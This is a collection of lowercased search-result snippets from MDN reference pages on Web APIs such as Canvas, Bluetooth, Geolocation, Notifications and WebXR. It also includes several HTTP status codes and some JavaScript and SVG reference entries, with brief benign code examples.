XPCOM category image-sniffing-services
in firefox 3, a new xpcom category was added in bug 391667 to allow "third-party" xpcom components to identify images based on their content.
... if mozilla's built-in image code cannot identify an image, then any xpcom components implementing the nsicontentsniffer interface may register under the "image-sniffing-services" category, and will be queried to determine the mime type of the image being downloaded.
... note: this category was removed.
Local Storage / Session Storage - Firefox Developer Tools
when an origin corresponding to local storage or session storage is selected within the storage inspector, the names and values of all the items corresponding to local storage or session storage will be listed in a table.
... you can edit local and session storage items by double-clicking inside cells in the table widget and editing the values they contain: you can delete local storage and session storage entries using the context menu: you can also delete local and session storage entries by selecting an item and pressing the delete or backspace key.
... finally, you can add new storage items by clicking the "plus" (+) button and then editing the resulting new row to the value you want.
AudioParam.cancelScheduledValues() - Web APIs
the cancelscheduledvalues() method of the audioparam interface cancels all scheduled future changes to the audioparam.
... syntax var audioparam = audioparam.cancelscheduledvalues(starttime) parameters starttime a double representing the time (in seconds) after the audiocontext was first created after which all scheduled changes will be cancelled.
... examples var gainnode = audioctx.creategain(); gainnode.gain.setvaluecurveattime(wavearray, audioctx.currenttime, 2); //'gain' is the audioparam gainnode.gain.cancelscheduledvalues(audioctx.currenttime); specifications specification status comment web audio apithe definition of 'cancelscheduledvalues' in that specification.
BluetoothCharacteristicProperties.authenticatedSignedWrites - Web APIs
the authenticatedsignedwrites read-only property of the bluetoothcharacteristicproperties interface returns a boolean that is true if signed writing to the characteristic value is permitted.
... syntax var aboolean = bluetoothcharacteristicproperties.authenticatedsignedwrites; value a boolean.
... specifications specification status comment web bluetooththe definition of 'authenticatedsignedwrites' in that specification.
BluetoothCharacteristicProperties.broadcast - Web APIs
the broadcast read-only property of the bluetoothcharacteristicproperties interface returns a boolean that is true if the broadcast of the characteristic value is permitted using the server characteristic configuration descriptor.
... syntax var aboolean = bluetoothcharacteristicproperties.broadcast; value a boolean.
... specifications specification status comment web bluetooththe definition of 'broadcast' in that specification.
BluetoothCharacteristicProperties.indicate - Web APIs
the indicate read-only property of the bluetoothcharacteristicproperties interface returns a boolean that is true if indications of the characteristic value with acknowledgement is permitted.
... syntax var aboolean = bluetoothcharacteristicproperties.indicate; value a boolean.
... specifications specification status comment web bluetooththe definition of 'indicate' in that specification.
BluetoothRemoteGATTCharacteristic.startNotifications() - Web APIs
the bluetoothremotegattcharacteristic.startnotifications() method returns a promise to the bluetoothremotegattcharacteristic instance when there is an active notification on it.
... syntax bluetoothremotegattcharacteristic.startnotifications().then(function(bluetoothremotegattcharacteristic) { ...
... specifications specification status comment web bluetooththe definition of 'startnotifications()' in that specification.
BluetoothRemoteGATTCharacteristic.stopNotifications() - Web APIs
the bluetoothremotegattcharacteristic.stopnotifications() method returns a promise to the bluetoothremotegattcharacteristic instance when there is no longer an active notification on it.
... syntax bluetoothremotegattcharacteristic.stopnotifications().then(function(bluetoothremotegattcharacteristic) { ...
... specifications specification status comment web bluetooththe definition of 'stopnotifications()' in that specification.
BroadcastChannel.name - Web APIs
the read-only broadcastchannel.name property returns a domstring, which uniquely identifies the given channel with its name.
... this name is passed to the broadcastchannel() constructor at creation time and is therefore read-only.
... syntax var str = channel.name; examples // connect to a channel var bc = new broadcastchannel('test_channel'); // more operations (like postmessage, …) // log the channel name to the console console.log(bc.name); // "test_channel" // when done, disconnect from the channel bc.close(); specifications specification status comment html living standardthe definition of 'broadcastchannel.name' in that specification.
BroadcastChannel.onmessage - Web APIs
the broadcastchannel.onmessage event handler is a property that specifies the function to execute when a message event, of type messageevent, is received by this broadcastchannel.
... such an event is sent by the browser with a message broadcasted to the channel.
...'${ev.data}'`); }; specifications specification status comment html living standardthe definition of 'broadcastchannel.onmessage' in that specification.
BroadcastChannel.postMessage() - Web APIs
the broadcastchannel.postmessage() sends a message, which can be of any kind of object, to each listener in any browsing context with the same origin.
... the message is transmitted as a message event targeted at each broadcastchannel bound to the channel.
... syntax var str = channel.postmessage(object); specifications specification status comment html living standardthe definition of 'broadcastchannel.postmessage()' in that specification.
CanvasImageSource - Web APIs
canvasimagesource provides a mechanism for other interfaces to be used as image sources for some methods of the canvasdrawimage and canvasfillstrokestyles interfaces.
... it’s just an internal helper type to simplify the specification.
... the interfaces that it allows to be used as image sources are the following: htmlimageelement svgimageelement htmlvideoelement htmlcanvaselement imagebitmap offscreencanvas specifications specification status comment html living standardthe definition of 'canvasimagesource' in that specification.
CanvasRenderingContext2D.direction - Web APIs
the canvasrenderingcontext2d.direction property of the canvas 2d api specifies the current text direction used to draw text.
... "inherit" the text direction is inherited from the <canvas> element or the document as appropriate.
... html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.font = '48px serif'; ctx.filltext('hi!', 150, 50); ctx.direction = 'rtl'; ctx.filltext('hi!', 150, 130); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.direction' in that specification.
CanvasRenderingContext2D.drawWidgetAsOnScreen() - Web APIs
the non-standard and internal only canvasrenderingcontext2d.drawwidgetasonscreen() method of the canvas 2d api renders the root widget of a window into the canvas.
... this api cannot be used by web content.
... specifications not part of any current specification or draft.
CanvasRenderingContext2D.font - Web APIs
the canvasrenderingcontext2d.font property of the canvas 2d api specifies the current text style to use when drawing text.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = 'bold 48px serif'; ctx.stroketext('hello world', 50, 100); result loading fonts with the css font loading api with the help of the fontface api, you can explicitly load fonts before using them in a canvas.
... let f = new fontface('test', 'url(x)'); f.load().then(function() { // ready to use the font in a canvas context }); specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.font' in that specification.
CanvasRenderingContext2D.imageSmoothingQuality - Web APIs
the imagesmoothingquality property of the canvasrenderingcontext2d interface, part of the canvas api, lets you set the quality of image smoothing.
... example setting image smoothing quality this example uses the imagesmoothingquality property with a scaled image.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { ctx.imagesmoothingquality = 'low'; ctx.drawimage(img, 0, 0, 300, 150); }; result specifications specification status comment html living standardthe definition of 'imagesmoothingquality' in that specification.
CanvasRenderingContext2D.measureText() - Web APIs
the canvasrenderingcontext2d.measuretext() method returns a textmetrics object that contains information about the measured text (such as its width, for example).
... example given this <canvas> element: <canvas id="canvas"></canvas> ...
... you can get a textmetrics object using the following code: const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let text = ctx.measuretext('hello world'); console.log(text.width); // 56; specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.measuretext' in that specification.
CanvasRenderingContext2D.restore() - Web APIs
the canvasrenderingcontext2d.restore() method of the canvas 2d api restores the most recently saved canvas state by popping the top entry in the drawing state stack.
... fore more information about the drawing state, see canvasrenderingcontext2d.save().
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // save the default state ctx.save(); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 100, 100); // restore the default state ctx.restore(); ctx.fillrect(150, 40, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.restore' in that specification.
CanvasRenderingContext2D.save() - Web APIs
the canvasrenderingcontext2d.save() method of the canvas 2d api saves the entire state of the canvas by pushing the current state onto a stack.
... the current values of the following attributes: strokestyle, fillstyle, globalalpha, linewidth, linecap, linejoin, miterlimit, linedashoffset, shadowoffsetx, shadowoffsety, shadowblur, shadowcolor, globalcompositeoperation, font, textalign, textbaseline, direction, imagesmoothingenabled.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // save the default state ctx.save(); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 100, 100); // restore the default state ctx.restore(); ctx.fillrect(150, 40, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.save' in that specification.
CanvasRenderingContext2D.shadowBlur - Web APIs
the canvasrenderingcontext2d.shadowblur property of the canvas 2d api specifies the amount of blur applied to shadows.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowblur = 15; // rectangle ctx.fillstyle = 'blue'; ctx.fillrect(20, 20, 150, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.
...shadowblur' in that specification.
CanvasRenderingContext2D.shadowOffsetX - Web APIs
the canvasrenderingcontext2d.shadowoffsetx property of the canvas 2d api specifies the distance that shadows will be offset horizontally.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowoffsetx = 25; ctx.shadowblur = 10; // rectangle ctx.fillstyle = 'blue'; ctx.fillrect(20, 20, 150, 100); result specifications specification status comment html living standardthe definition of 'c...
...anvasrenderingcontext2d.shadowoffsetx' in that specification.
CanvasRenderingContext2D.textBaseline - Web APIs
the canvasrenderingcontext2d.textbaseline property of the canvas 2d api specifies the current text baseline used when drawing text.
... html <canvas id="canvas" width="550" height="500"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const baselines = ['top', 'hanging', 'middle', 'alphabetic', 'ideographic', 'bottom']; ctx.font = '36px serif'; ctx.strokestyle = 'red'; baselines.foreach(function (baseline, index) { ctx.textbaseline = baseline; const y = 75 + index * 75; ...
... ctx.beginpath(); ctx.moveto(0, y + 0.5); ctx.lineto(550, y + 0.5); ctx.stroke(); ctx.filltext('abcdefghijklmnop (' + baseline + ')', 0, y); }); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.textbaseline' in that specification.
CompositionEvent.locale - Web APIs
the locale read-only property of the compositionevent interface returns the locale of current input method (for example, the keyboard layout locale if the composition is associated with ime).
... syntax mylocale = compositionevent.locale value a domstring representing the locale of current input method.
... specifications specification status comment document object model (dom) level 3 events specification obsolete no longer in the spec, but still supported.
DedicatedWorkerGlobalScope.close() - Web APIs
the close() method of the dedicatedworkerglobalscope interface discards any tasks queued in the dedicatedworkerglobalscope's event loop, effectively closing this particular scope.
... syntax self.close(); example if you want to close your worker instance from inside the worker itself, you can call the following: close(); close() and self.close() are effectively equivalent — both represent close() being called from inside the worker's inner scope.
... specifications specification status comment html living standardthe definition of 'close()' in that specification.
DedicatedWorkerGlobalScope: message event - Web APIs
the message event is fired on a dedicatedworkerglobalscope object when the worker receives a message from its parent (i.e.
... bubbles no cancelable no interface messageevent event handler property onmessage examples this code creates a new worker and sends it a message using worker.postmessage(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message from worker: ${event.data}`) }); the worker can listen for this message using addeventlistener(): // inside static/scripts/worker.js self.addeventlistener('message', (event) => { console.log(`received message from parent: ${event.data}`); }); alternatively, it could listen using the onmessage event handler property: // static/scripts/worker.js self.onmessage...
... = (event) => { console.log(`received message from parent: ${event.data}`); }; specifications specification status html living standard living standard ...
Document: touchcancel event - Web APIs
the touchcancel event is fired when one or more touch points have been disrupted in an implementation-specific manner (for example, too many touch points are created).
... bubbles yes cancelable no interface touchevent event handler property ontouchcancel examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Locating DOM elements using selectors - Web APIs
this is much faster than past techniques, wherein it was necessary to, for example, use a loop in javascript code to locate the specific items you needed to find.
... the nodeselector interface this specification adds two new methods to any objects implementing the document, documentfragment, or element interfaces: queryselector() returns the first matching element node within the node's subtree.
...for example, to select all paragraph (p) elements in a document whose css class is either warning or note, you can do the following: var special = document.queryselectorall( "p.warning, p.note" ); you can also query by id.
Element: touchcancel event - Web APIs
the touchcancel event is fired when one or more touch points have been disrupted in an implementation-specific manner (for example, too many touch points are created).
... bubbles yes cancelable no interface touchevent event handler property ontouchcancel examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Event.cancelBubble - Web APIs
the cancelbubble property of the event interface is a historical alias to event.stoppropagation().
... syntax event.cancelbubble = bool; var bool = event.cancelbubble; value a boolean.
... example elem.onclick = function(event) { // do cool things here event.cancelbubble = true; } specifications specification status comment domthe definition of 'cancelbubble' in that specification.
Gamepad.hapticActuators - Web APIs
the hapticactuators read-only property of the gamepad interface returns an array containing gamepadhapticactuator objects, each of which represents haptic feedback hardware available on the controller.
... syntax var myhapticactuators = gamepadinstance.hapticactuators; value an array containing gamepadhapticactuator objects.
... examples tbc specifications specification status comment gamepad extensionsthe definition of 'hapticactuators' in that specification.
GamepadHapticActuator.type - Web APIs
the type read-only property of the gamepadhapticactuator interface returns an enum representing the type of the haptic hardware.
... syntax var myactuatortype = gamepadhapticactuatorinstance.type; value an enum of type gamepadhapticactuatortype; currently available types are: vibration — vibration hardware, which creates a rumbling effect.
... examples tbc specifications specification status comment gamepad extensionsthe definition of 'gamepadhapticactuatortype' in that specification.
Geolocation.clearWatch() - Web APIs
the geolocation.clearwatch() method is used to unregister location/error monitoring handlers previously installed using geolocation.watchposition().
... syntax navigator.geolocation.clearwatch(id); parameters id the id number returned by the geolocation.watchposition() method when installing the handler you wish to remove.
... example var id, target, option; function success(pos) { var crd = pos.coords; if (target.latitude === crd.latitude && target.longitude === crd.longitude) { console.log('congratulation, you reach the target'); navigator.geolocation.clearwatch(id); } }; function error(err) { console.warn('error(' + err.code + '): ' + err.message); }; target = { latitude : 0, longitude: 0, } options = { enablehighaccuracy: false, timeout: 5000, maximumage: 0 }; id = navigator.geolocation.watchposition(success, error, options); specifications specification status comment geolocation api recommendation initial specification.
GeolocationCoordinates.accuracy - Web APIs
the geolocationcoordinates.accuracy read-only property is a strictly positive double representing the accuracy, with a 95% confidence level, of the geolocationcoordinates.latitude and geolocationcoordinates.longitude properties expressed in meters.
... syntax let acc = geolocationcoordinatesinstance.accuracy value a positive double representing the accuracy, with a 95% confidence level, of the geolocationcoordinates.latitude and geolocationcoordinates.longitude properties expressed in meters.
... specifications specification status comment geolocation apithe definition of 'coordinates.accuracy' in that specification.
GeolocationPosition.timestamp - Web APIs
the geolocationposition.timestamp read-only property returns a domtimestamp object, represents the date and the time of the creation of the geolocationposition object it belongs to.
... syntax var timestamp = geolocationpositioninstance.timestamp value a domtimestamp object instance.
... specifications specification status comment geolocation apithe definition of 'geolocationposition.timestamp' in that specification.
GeolocationPositionError.message - Web APIs
the geolocationpositionerror.message read-only property returns a human-readable domstring describing the details of the error.
... syntax let msg = geolocationpositionerrorinstance.message value a human-readable domstring describing the details of the error.
... specifications specification status comment geolocation apithe definition of 'geolocationpositionerror.message' in that specification.
GlobalEventHandlers.ongotpointercapture - Web APIs
the ongotpointercapture property of the globaleventhandlers mixin is an eventhandler that processes gotpointercapture events.
... syntax target.ongotpointercapture = functionref; value functionref is a function name or a function expression.
... example function overhandler(event) { // determine the target event's gotpointercapture handler let gotcapturehandler = event.target.ongotpointercapture; } function init() { let el = document.getelementbyid('target'); el.ongotpointercapture = overhandler; } specifications specification status comment pointer events – level 2the definition of 'ongotpointercapture' in that specification.
GlobalEventHandlers.onlostpointercapture - Web APIs
the onlostpointercapture property of the globaleventhandlers mixin is an eventhandler that processes lostpointercapture events.
... syntax target.onlostpointercapture = functionref; value functionref is a function name or a function expression.
... example function overhandler(event) { // determine the target event's lostpointercapture handler let lostcapturehandler = event.target.onlostpointercapture; } function init() { let el = document.getelementbyid('target'); el.onlostpointercapture = overhandler; } specifications specification status comment pointer events – level 2the definition of 'onlostpointercapture' in that specification.
HTMLCanvasElement: webglcontextrestored event - Web APIs
you need to reinitialize the state of your webgl application and recreate resources.
... bubbles yes cancelable yes interface webglcontextevent event handler property none example with the help of the webgl_lose_context extension, you can simulate the webglcontextrestored event: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextrestored', function(e) { console.log(e); }, false); gl.getextension('webgl_lose_context').restorecontext(); // "webglcontextrestored" event is logged.
... specifications specification status comment webgl 1.0the definition of 'webglcontextrestored' in that specification.
HTMLDialogElement: cancel event - Web APIs
the cancel event fires on a <dialog> when the user instructs the browser that they wish to dismiss the current open dialog.
... bubbles no cancelable yes interface event event handler oncancel examples live example html <dialog class="example-dialog"> <button class="close" type="reset">close</button> </dialog> <button class="open-dialog">open dialog</button> <div class="result"></div> css button, div { margin: .5rem; } js const result = document.queryselector('.result'); const dialog = document.queryselector('.example-dialog'); dialog.addeventlistener('cancel', (event) => { result.textcontent = 'dialog was canceled'; }); const opendialog = document.queryselector('.open-dialog'); opendialog...
....addeventlistener('click', () => { if (typeof dialog.showmodal === 'function') { dialog.showmodal(); result.textcontent = ''; } else { result.textcontent = 'the dialog api is not supported by this browser'; } }); const closebutton = document.queryselector('.close'); closebutton.addeventlistener('click', () => { dialog.close(); }); result specifications specification status html living standardthe definition of 'cancel' in that specification.
ImageCapture.track - Web APIs
the track read-only property of the imagecapture interface returns a reference to the mediastreamtrack passed to the imagecapture() constructor.
... syntax const mediastreamtrack = imagecaptureobj.track value a mediastreamtrack object.
... specifications specification status comment mediastream image capturethe definition of 'track' in that specification.
Location: href - Web APIs
WebAPILocationhref
the href property of the location interface is a stringifier that returns a usvstring containing the whole url, and allows the href to be updated.
...if you want redirection, use location.replace().
... syntax string = object.href; object.href = string; examples // lets imagine an <a id="myanchor" href="https://developer.mozilla.org/location/href"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.href; // returns: 'https://developer.mozilla.org/location/href' specifications specification status comment html living standardthe definition of 'href' in that specification.
Location: toString() - Web APIs
WebAPILocationtoString
the tostring() stringifier method of the location interface returns a usvstring containing the whole url.
... it is a read-only version of location.href.
... syntax string = object.tostring(); examples // let's imagine an <a id="myanchor" href="https://developer.mozilla.org/docs/location/tostring"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.tostring(); // returns: 'https://developer.mozilla.org/docs/location/tostring' specifications specification status comment html living standard living standard ...
setServerCertificate() - Web APIs
the mediakeys.setservercertificate() method a promise to a server certificate to be used to encrypt messages to the license server.
... syntax mediakeys.setservercertificate([mediakeysessiontype]).then(function() { ...
... }); specifications specification status comment encrypted media extensionsthe definition of 'setservercertificate()' in that specification.
Notification.badge - Web APIs
the badge property of the notification interface returns the url of the image used to represent the notification when there is not enough space to display the notification itself.
... syntax var url = notification.badge value a usvstring containing a url.
... specifications specification status comment notifications apithe definition of 'badge' in that specification.
Notification.body - Web APIs
WebAPINotificationbody
the body read-only property of the notification interface indicates the body string of the notification, as specified in the body option of the notification() constructor.
... syntax var body = notification.body; value a domstring.
... examples function spawnnotification(thebody, theicon, thetitle) { var options = { body: thebody, icon: theicon } var n = new notification(thetitle, options); console.log(n.body); } specifications specification status comment notifications apithe definition of 'body' in that specification.
Notification.image - Web APIs
the image read-only property of the notification interface contains the url of an image to be displayed as part of the notification, as specified in the image option of the notification() constructor.
... syntax var image = notification.image; value a usvstring.
... specifications specification status comment notifications apithe definition of 'image' in that specification.
Notification.onclose - Web APIs
the onclose property of the notification interface specifies an event listener to receive close events.
... these events occur when a notification is closed.
... syntax notification.onclose = function() { ...
Notification.onshow - Web APIs
the onshow property of the notification interface specifies an event listener to receive show events.
... these events occur when a notification is displayed.
... syntax notification.onshow = function() { ...
Notification.title - Web APIs
the title read-only property of the notification interface indicates the title of the notification, as specified in the title parameter of the notification() constructor.
... syntax var title = notification.title; value a domstring.
... examples function spawnnotification(thebody,theicon,thetitle) { var options = { body: thebody, icon: theicon } var n = new notification(thetitle,options); console.log(n.title) } specifications specification status comment notifications apithe definition of 'title' in that specification.
PhotoCapabilities.imageHeight - Web APIs
the imageheight read-only property of the photocapabilities interface returns a mediasettingsrange object indicating the image height range supported by the user agent.
... syntax var mediasettingsrange = photocapabilities.imageheight value a mediasettingsrange object.
... specifications specification status comment mediastream image capturethe definition of 'imageheight' in that specification.
PhotoCapabilities.redEyeReduction - Web APIs
the redeyereduction read-only property of the photocapabilities interface returns an enum indicating the red-eye reduction capability of the source.
... syntax const redeyereduction = photocapabilities.redeyereduction value one of "never", "always", or "controllable".
... specifications specification status comment mediastream image capturethe definition of 'redeyereduction' in that specification.
RTCCertificate - Web APIs
the interface of the the webrtc api provides an object represents a certificate that an rtcpeerconnection uses to authenticate.
... properties rtccertificate.expires read only returns the expiration date of the certificate.
... specifications specification status comment webrtc 1.0: real-time communication between browsers candidate recommendation initial definition.
RTCIceCandidatePairStats.readable - Web APIs
the obsolete rtcicecandidatepairstats property readable reports whether or not the connection described by the candidate pair has received at least one valid incoming ice request.
... syntax isreadable = rtcicecandidatepairstats.readable; value a boolean value which is true if the connection described by this candidate pair has received at least one valid ice request, and is therefore ready to be read from.
... note: this property was removed from the specification in early 2017 because you can determine whether or not the connection is readable by checking to see if requestsreceived is greater than 0: if (icpstats.requestsreceived > 0) { /* at least one ice request has been received */ } ...
RTCIceCandidatePairStats.writable - Web APIs
the obsolete rtcicecandidatepairstats property writable reports whether or not the connection described by the candidate pair is writable.
... syntax iswritable = rtcicecandidatepairstats.writable; value a boolean value which is true if the connection described by this candidate pair has received acknowledgement of receipt (ack) for at least one ice request and that stun consent hasn't expired.
... note: this property was removed from the specification in early 2017 because you can determine whether or not an incoming ice request is available to read by checking to see if responsesreceived is greater than 0 and that the time specified by consentexpiredtimestamp has not passed: if (icpstats.responsesreceived > 0 && icpstats.consentexpiredtimestamp < performance.now()) { /* at least one ice response has been received */ } ...
ServiceWorkerGlobalScope.caches - Web APIs
the caches read-only property of the serviceworkerglobalscope interface returns the cachestorage object associated with the service worker.
... syntax var mycachestorage = self.caches; value a cachestorage object.
... specifications specification status comment service workersthe definition of 'serviceworkerglobalscope.caches' in that specification.
ServiceWorkerGlobalScope: notificationclick event - Web APIs
the notificationclick event is fired to indicate that a system notification spawned by serviceworkerregistration.shownotification() has been clicked.
... bubbles no cancelable no interface notificationevent event handler onnotificationclick examples you can use the notificationclick event in an addeventlistener method: self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); ...
... or use the onnotificationclick event handler property: self.onnotificationclick = function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }; specifications specification status notifications apithe definition of 'onnotificationclick' in that specification.
SpeechSynthesis.cancel() - Web APIs
the cancel() method of the speechsynthesis interface removes all utterances from the utterance queue.
... syntax speechsynthesisinstance.cancel(); returns void.
...this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.cancel(); // utterance1 stops being spoken immediately, and both are removed from the queue specifications specification status comment web speech apithe definition of 'cancel()' in that specification.
SpeechSynthesisVoice.localService - Web APIs
the localservice read-only property of the speechsynthesisvoice interface returns a boolean indicating whether the voice is supplied by a local speech synthesizer service (true), or a remote speech synthesizer service (false.) this property is provided to allow differentiation in the case that some voice options are provided by a remote service; it is possible that remote voices might have extra latency, bandwidth or cost associated with them, so such distinction may be useful.
... syntax var amilocal = speechsynthesisvoiceinstance.localservice; value a boolean.
... examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } console.log(voices[i].localservice); option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'localservice' in that specification.
UIEvent.cancelBubble - Web APIs
the uievent.cancelbubble property indicates if event bubbling for this event has been canceled or not.
... syntax event.cancelbubble = bool; var bool = event.cancelbubble; specifications this property is not part of any specification.
... although the similar event.cancelbubble property was included in an old working draft of w3c dom level 2.
VisualViewport.scale - Web APIs
the scale read-only property of the visualviewport interface returns the pinch-zoom scaling factor applied to the visual viewport.
... syntax var scale = visualviewport.scale value a double.
... specifications specification status comment visual viewport apithe definition of 'scale' in that specification.
WebGLUniformLocation - Web APIs
the webgluniformlocation interface is part of the webgl api and represents the location of a uniform variable in a shader program.
... description the webgluniformlocation object does not define any methods or properties of its own and its content is not directly accessible.
... when working with webgluniformlocation objects, the following methods of the webglrenderingcontext are useful: webglrenderingcontext.getuniformlocation() webglrenderingcontext.uniform() examples getting an uniform location var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var location = gl.getuniformlocation(webglprogram, 'uniformname'); specifications specification status comment webgl 1.0the definition of 'webgluniformlocation' in that specification.
XRFrameRequestCallback - Web APIs
the xrframerequestcallback is a callback function passed into xrsession.requestanimationframe (part of webxr api) to obtain the current time and the current xrframe.
... syntax function xrframerequestcallback(time, xrframe){ // process xrframe here } xrsession.requestanimationframe(xrframerequestcallback) parameters domhighrestimestamp a timestamp corresponding to the returned xrframe.
... specifications specification status comment webxr device apithe definition of 'xrframerequestcallback' in that specification.
XRRenderState.inlineVerticalFieldOfView - Web APIs
the inlineverticalfieldofview read-only property of the xrrenderstate interface defines the angle of the field of view in radians used when computing projection matrices for "inline" xrsession objects.
... syntax var adouble = xrrenderstate.inlineverticalfieldofview; value a number.
... specifications specification status comment unknownthe definition of 'xrrenderstate.inlineverticalfieldofview' in that specification.
XRRenderState.inlineVerticalFieldOfView - Web APIs
the read-only inlineverticalfieldofview property of the xrrenderstate interface returns the default vertical field of view for "inline" sessions and null for all immersive sessions.
... syntax var inlineverticalfieldofview = xrrenderstate.inlineverticalfieldofview; value a number for "inline" sessions, which represents the default field of view, and null for immersive sessions.
... specifications specification status comment webxr device apithe definition of 'xrrenderstate.inlineverticalfieldofview' in that specification.
Feature-Policy: camera - HTTP
the http feature-policy header camera directive controls whether the current document is allowed to use video input devices.
... syntax feature-policy: camera <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin.
... specification specification status comment feature policy editor's draft initial definition.
407 Proxy Authentication Required - HTTP
WebHTTPStatus407
the http 407 proxy authentication required client error status response code indicates that the request has not been applied because it lacks valid authentication credentials for a proxy server that is between the browser and the server that can access the requested resource.
... this status is sent with a proxy-authenticate header that contains information on how to authorize correctly.
... status 407 proxy authentication required example response http/1.1 407 proxy authentication required date: wed, 21 oct 2015 07:28:00 gmt proxy-authenticate: basic realm="access to internal site" specifications specification title rfc 7235, section 3.2: 407 proxy authentication required http/1.1: authentication ...
511 Network Authentication Required - HTTP
WebHTTPStatus511
the http 511 network authentication required response status code indicates that the client needs to authenticate to gain network access.
... network operators sometimes require some authentication, acceptance of terms, or other user interaction before granting access (for example in an internet café or at an airport).
... status 511 network authentication required specifications specification title rfc 6585, section 6: 511 network authentication required additional http status codes ...
TypeError: can't access property "x" of "y" - JavaScript
the javascript exception "can't access property" occurs when property access was operated on undefined or null values.
... message typeerror: unable to get property {x} of undefined or null reference (edge) typeerror: can't access property {x} of {y} (firefox) typeerror: {y} is undefined, can't access property {x} of it (firefox) typeerror: {y} is null, can't access property {x} of it (firefox) examples: typeerror: x is undefined, can't access property "prop" of it typeerror: x is null, can't access property "prop" of it typeerror: can't access property "prop" of undefined typeerror: can't access property "prop" of null error type typeerror.
... examples invalid cases // undefined and null cases on which the substring method won't work var foo = undefined; foo.substring(1); // typeerror: x is undefined, can't access property "substring" of it var foo = null; foo.substring(1); // typeerror: x is null, can't access property "substring" of it fixing the issue to fix null pointer to undefined or null values, you can use the typeof operator, for example.
Logical AND assignment (&&=) - JavaScript
the logical and assignment (x &&= y) operator only assigns if x is truthy.
... syntax expr1 &&= expr2 description short-circuit evaluation the logical and operator is evaluated left to right, it is tested for possible short-circuit evaluation using the following rule: (some falsy expression) && expr is short-circuit evaluated to the falsy expression; short circuit means that the expr part above is not evaluated, hence any side effects of doing so do not take effect (e.g., if expr is a function call, the calling never takes place).
... logical and assignment short-circuits as well meaning that x &&= y is equivalent to: x && (x = y); and not equivalent to the following which would always perform an assignment: x = x && y; examples using logical and assignment let x = 0; let y = 1; x &&= 0; // 0 x &&= 1; // 0 y &&= 1; // 1 y &&= 0; // 0 specifications specification logical assignment operatorsthe definition of 'assignment operators' in that specification.
SVG Core Attributes - SVG: Scalable Vector Graphics
WebSVGAttributeCore
the svg core attributes are all the common attributes that can be specified on any svg element.
...it's almost identical in usage to html's lang, but in conforming xml 1.0 documents, it does not allow the use of a null attribute value (xml:lang="") to indicate an unknown language.
... value: any valid language id; animatable: no xml:space deprecated since svg 2 svg supports the standard xml attribute xml:space to specify the handling of white space characters within a given <text> element's character data.
SVG Event Attributes - SVG: Scalable Vector Graphics
WebSVGAttributeEvents
other event attributes are available on a case by case basis for each elements.
